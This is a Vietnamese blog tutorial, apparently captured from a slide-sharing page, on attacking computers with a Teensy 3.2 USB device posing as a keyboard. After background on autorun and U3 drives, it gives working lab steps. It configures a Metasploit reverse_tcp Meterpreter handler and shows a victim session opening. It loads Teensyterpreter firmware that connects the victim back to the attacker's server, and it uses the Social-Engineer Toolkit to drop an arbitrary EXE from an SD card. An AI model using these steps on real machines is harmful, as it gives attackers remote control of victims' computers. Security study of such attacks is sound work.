tấn công máy tính sử dụng teensy hid - p1

13
Tấn công máy tính sử dụng Teensy HID - P1 visudo.info/tan-cong-may-tinh-su-dung-teensy-hid-p1/ Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phân lớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước và chức năng khác nhau. Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bản phần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác. HID (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thể được lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuột USB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ... Các cuộc tấn công Social Engineering Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự phát triển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lại những người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mang tính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng. Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến các phương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém. Thiết bị lưu trữ USB chứa mã độc Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiết bị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thông báo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Có nhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máy ảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn công chủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kích hoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến. Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chú ý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành về sau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi: Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năng autorun.inf. Đây là thời điểm ra đời của thiết bị USB U3 , cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểm soát của hệ điều hành. Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ UAC (User Account Control) . Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằm tăng khả năng kiểm soát việc thực thi mã độc tự động. Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặc định của hệ điều hành. 1/13

Upload: visudo-blog

Post on 17-Jan-2017

41 views

Category:

Technology


7 download

TRANSCRIPT

Page 1: Tấn công máy tính sử dụng Teensy HID - P1

Tấn công máy tính sử dụng Teensy HID - P1visudo.info/tan-cong-may-tinh-su-dung-teensy-hid-p1/

Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phânlớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước vàchức năng khác nhau. Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bảnphần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác.

HID (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thểđược lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuộtUSB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ...

Các cuộc tấn công Social Engineering

Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự pháttriển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lạinhững người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mangtính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng.

Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến cácphương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém.

Thiết bị lưu trữ USB chứa mã độc

Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiếtbị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thôngbáo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Cónhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máyảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn côngchủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kíchhoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến.

Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chúý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành vềsau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi:

Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năngautorun.inf. Đây là thời điểm ra đời của thiết bị USB U3, cơ bản đây là một thiết bị USB thông thường đượctích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểmsoát của hệ điều hành.

Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ UAC (User Account Control) .Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằmtăng khả năng kiểm soát việc thực thi mã độc tự động.

Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặcđịnh của hệ điều hành.

1/13

Page 2: Tấn công máy tính sử dụng Teensy HID - P1

Thiết bị lưu trữ USB U3

USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mởrộng với định dạng thiết bị là CD/DVD

Sư ra đời của thiết bị USB U3 là một nhánh phát triển của kỹ thuật vượt cơ chế kiểm soát USB của hệ điều hànhWindows XP. USB U3 lợi dụng chính sách Autorun chỉ được cho phép trên CD/DVD, các tin tặc đã áp dụng tínhnăng nhằm lưu trữ và thực thi mã độc tự động trên XP.

Thiết bị HID - kỹ thuật tấn công đa hình

Nhằm vượt qua các cơ chế kiểm soát của hệ điều hành ngày nay, phương án tấn công sử dụng thiết bị HID là mộtlựa chọn hoàn hảo. Bằng cách lập trình lại vi điều khiển của thiết bị HID, tin tặc có thể giả lập các hành vi của bànphím, chuột để gởi các thông tin dữ liệu mong muốn đến máy tính/ thiết bị kết nối nhằm thực thi mã độc chiếmquyền điều khiển.

Do đặc tính linh động và có thể định nghĩa lại vi xử lý, HID có thể ẩn mình dưới nhiều hình dạng và chức năng khácnhau như: bộ sạc nguồn, bàn phím, quạt USB, đèn USB, đầu đọc thẻ nhớ, đồng hồ,...

Trên thị trường hiện nay có khá nhiều vi xử lý, mạch tích hợp, thiết bị hỗ trợ HID và người dùng có thể nhanh chóngthay đổi cấu trúc firmware của nó thông qua ngôn ngữ lập trình. Một số tiêu biểu như Arduino, Raspberry Pi, Teensy,USB Rubber Ducky Deluxe,...

2/13

Page 3: Tấn công máy tính sử dụng Teensy HID - P1

Hình 1: Các thiết bị hỗ trợ HID

Thiết bị Teensy HID

Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triểnmở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nốiUSB. Giá của mạch Teensy 3.2 là khoảng 20 USD và bạn có thể mua trực tuyến tại PJRC Store.

3/13

Page 4: Tấn công máy tính sử dụng Teensy HID - P1

Hình 2: Thiết bị Teensy 3.2

Arduino IDE, Teensyduino

Để tiến hành nạp các mã nguồn vào thiết bị, bạn cần phải cài đặt Arduino IDE và thư viện Teensyduino;

Tải Arduino IDE: https://www.arduino.cc/en/Main/Software

Tải Teensyduino: https://www.pjrc.com/teensy/td_download.html

4/13

Page 5: Tấn công máy tính sử dụng Teensy HID - P1

Hình 3: Giao diện Arduino IDE và Teensyduino

Sau khi tiến hành cái đặt thành công, bạn có thể tiến hành lập trình và nạp chương trình vào thiết bị qua giao diệnArduino IDE. Cần chú ý chọn đúng phiên bản phần cứng mà bạn sử dụng để nạp chương trình.

Hình 4: Thiết lập môi trường lập trình Teensy 3.25/13

Page 6: Tấn công máy tính sử dụng Teensy HID - P1

Teensy USB – Tấn công đa nền tảng

Teensy có thể đóng vai trò là một thiết bị mã độc (lưu trữ các mã dropper trong chính thiết bị Teensy), hoặc có thểkết hợp với thẻ nhớ SD để mở rộng vùng lưu trữ dữ liệu (lưu trữ các CVE exploit, 0-day, malware,...). Khi dropperđược tạo trên máy nạn nhân, nó sẽ tiến hành nhận các mã khai thác, backdoor,... từ máy chủ tin tặc.

Tấn công 1: Teensy USB + Metasploit

Đây là kỹ thuật tấn công đơn giản nhất để kiếm soát máy nạn nhân dưới 30 giây.

Bước 1: Kích hoạt Metasploit tại máy chủ tin tặc

Tạo tập tin payload_handler.rc với nội dung như sau:

root@kali:~# cat payload_handler.rc use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false set EnableStageEncoding true exploit -j

Khởi tạo máy chủ tin tặc sử dụng lệnh msfconsole:

root@kali:~# msfconsole -r payload_handler.rc ....[*] Processing payload_handler.rc for ERB directives.resource (payload_handler.rc)> use multi/handler resource (payload_handler.rc)> set payload windows/meterpreter/reverse_tcp

6/13

Page 7: Tấn công máy tính sử dụng Teensy HID - P1

payload => windows/meterpreter/reverse_tcp resource (payload_handler.rc)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (payload_handler.rc)> set LPORT 4444 LPORT => 4444 resource (payload_handler.rc)> set ExitOnSession false ExitOnSession => false resource (payload_handler.rc)> set EnableStageEncoding true EnableStageEncoding => true resource (payload_handler.rc)> exploit -j [*] Exploit running as background job.

Bước 2: Nạp chương trình Teensy

Có nhiều platform cung cấp mã chương trình phục vụ tạo kết nối từ máy nạn nhân đến máy chủ tin tặc như: SocialEngineering Toolkit, hid-backdoor-peensy,... Trong ví dụ này, tôi sẽ sử dụng mã khai thác Teensyterpreter với cáctính năng cơ bản nhất để có thể nhanh chóng hiểu rõ tính năng của Teensy.

Tải mã nguồn Teensyterpreter tại:https://raw.githubusercontent.com/KernelEquinox/Teensyterpreter/master/Teensyterpreter.ino

Thực hiện mở tập tin Teensyterpreter.ino trong Arduino IDE và cần điều chỉnh cấu hình kết nối đến IP, Port máy chủMetasploit.

Hình 5: Thiết lập địa chỉ IP, cổng kết nối đến máy chủ tin tặc

Trước khi thực hiện biên dịch và nạp chip, cần chú ý thiết lập thiết bị Teensy là " Keyboard + Mouse + Joystick".

Hình 6: Thiết lập loại thiết bị USB

Thực hiện biên dịch và nạp chip thông qua nút Verify và Upload.

Hình 7: Biên dịch Teensyterpreter

Sau khi nạp chương trình bạn có thể thực hiện kiểm tra kết nối tại Metasploit.

[*] Started reverse TCP handler on 0.0.0.0:4444 [*] Starting the payload handler...msf exploit(handler) > [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (958029 bytes) to 14.187.167.126[*] Meterpreter session 1 opened (192.168.207.141:4444 -> 14.187.167.126:11167) at 2016-07-10 01:34:04 -0400

msf exploit(handler) > sessions -i

Active sessions ===============

Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 VICTIM\victim @ VICTIM 192.168.207.141:4444 -> 14.187.167.126:11167 (192.168.1.64)

7/13

Page 8: Tấn công máy tính sử dụng Teensy HID - P1

msf exploit(handler) >

Hình 8: Kết nối từ máy nạn nhận đến Metasploit

Tấn công 2: Teensy USB + Micro SD card

Nhằm khắc phục những hạn chế khi tấn công máy tính trong môi trường không có kết nối internet, hoặc cần saochép dữ liệu trên một máy tính nạn nhân, tôi thực hiện lưu trữ mã độc vào thẻ nhớ MicroSD và nạp lại chương trìnhcho Teensy.

Đế có thể kết nối thêm thiết bị MicroSD vào Teensy, tôi cần thêm một module tích hợp "SD Adatpor". Bạn có thểmua mạch này tại http://www.pjrc.com/store/sd_adaptor.html, đây module tương thích với Teensy USB và có kíchthước nhỏ, phù hợp cho việc ngụy trang thiết bị.

Hình 9: Mạch tích hợp SD Adaptor8/13

Page 9: Tấn công máy tính sử dụng Teensy HID - P1

Tuy nhiên, bạn cũng có thể mua một số loại adaptor khác từ thị trường, bạn cần đọc kỹ các chỉ dẫn để có thể kết nốiphần cứng và nạp chương trình cho các chân phù hợp.

Hình 10: Mạch tích hợp SD Adaptor dành cho Arduino

Hình 11: Kết nối Teensy USB và SD adaptor

Kết nối phần cứng

Để thực hiện kết nối các thiết bị phần cứng, tôi sử dụng một số dây nối loại đầu cái-cái 10cm, và hàn các chân đựcvào mạch Teensy. Sơ đồ kết nối như sau:

SD Adaptor ----------- Teensy

+5V (VCC) nối vào 3.3V (100 mA max)

Ground (GND) nối vào GND

MOSI nối vào chân 11, DOUT

MISO nối vào chân 12, DIN

SCLK (SCK) nối vào chân 13, SCK

SS (CS) nối vào chân 10, CS

Nạp chương trình đọc thẻ nhớ

Tôi tiến hành nạp chương trình kiểm tra kết nối đến thẻ nhớ và kiểm tra dữ liệu tại cổng COM.

9/13

Page 10: Tấn công máy tính sử dụng Teensy HID - P1

Hình 12: Mã nguồn SD CardInfo

Cần điều chỉnh chipSelect =10 tương đương với cổng CS/SS theo kết nối vật lý.

// change this to match your SD shield or module;// Arduino Ethernet shield: pin 4// Adafruit SD shields and modules: pin 10// Sparkfun SD shield: pin 8const int chipSelect = 10;

10/13

Page 11: Tấn công máy tính sử dụng Teensy HID - P1

Hình 13: Mã nguồn SD CardInfo

Hình 14: Mã nguồn SD CardInfo

Triển khai mã độc11/13

Page 12: Tấn công máy tính sử dụng Teensy HID - P1

Tôi sử dụng chương trình Social-Engineer Toolkit (SET) tại Kali để tạo mã độc và nạp chương trình cho Teensy.

Hình 15: Luồng tấn công sử dụng Teensy + SD Card

root@kali:~# setoolkit 1) Social-Engineering Attacks 6) Arduino-Based Attack Vector 8) SDCard 2 Teensy Attack (Deploy Any EXE)

Tải chương trình payload.exe đã tạo sẵn vào chuyển thành .txt tại đường dẫn /usr/share/set/. Sao chépconverts.txt vào thẻ nhớ và nạp teensy.pde vào Teensy.

Tham khảo

1. How AutoRun Malware Became a Problem on Windows, and How It Was (Mostly) Fixed

2. Don’t Panic, But All USB Devices Have a Massive Security Problem

3. HTG Explains: What Is Juice Jacking and How Worried Should You Be?

4. https://www.pjrc.com/teensy/

5. http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices

6. http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

7. https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/

8. https://github.com/offensive-security/hid-backdoor-peensy

9. https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/teensy/peensy.pde

10. https://github.com/matterpreter/penteensy

11. https://github.com/samratashok/nishang

12. http://www.linux-usb.org/usb.ids

12/13

Page 13: Tấn công máy tính sử dụng Teensy HID - P1

13. https://jumpespjump.blogspot.com/2013/09/making-pc-mouse-hw-trojan.html

Bản quyền thuộc về www.visudo.info © 2016

13/13